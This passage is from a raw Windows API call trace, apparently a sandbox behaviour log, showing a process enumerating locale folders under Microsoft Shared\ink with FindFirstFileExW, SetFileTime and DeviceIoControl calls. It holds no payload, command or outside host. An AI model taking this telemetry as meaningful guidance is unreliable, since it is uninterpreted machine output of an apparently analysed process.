ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.822] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.822] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.822] NtClose (Handle=0x17c) returned 0x0 [0047.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.822] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.822] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.822] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee99c0 [0047.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee92a0 [0047.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.822] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.823] GetLastError () returned 0x12 [0047.823] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.823] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.823] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.823] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.823] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.823] GetLastError () returned 0x12 [0047.823] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.823] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.823] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.823] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.823] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0047.823] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0047.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.824] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.824] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.824] NtClose (Handle=0x170) returned 0x0 [0047.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.824] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.824] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.824] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee99e0 [0047.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5bf0 [0047.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.824] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.825] GetLastError () returned 0x12 [0047.825] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.825] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.825] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.825] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.825] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.825] GetLastError () returned 0x12 [0047.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.825] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.825] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0047.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.826] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.826] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.826] NtClose (Handle=0x17c) returned 0x0 [0047.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.826] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.826] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.826] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9a00 [0047.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5ae8 [0047.827] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.827] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.827] GetLastError () returned 0x12 [0047.827] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.827] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.827] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.827] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.827] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.827] GetLastError () returned 0x12 [0047.827] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.827] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.827] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.827] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.827] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0047.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.828] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.828] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.828] NtClose (Handle=0x170) returned 0x0 [0047.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.828] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, 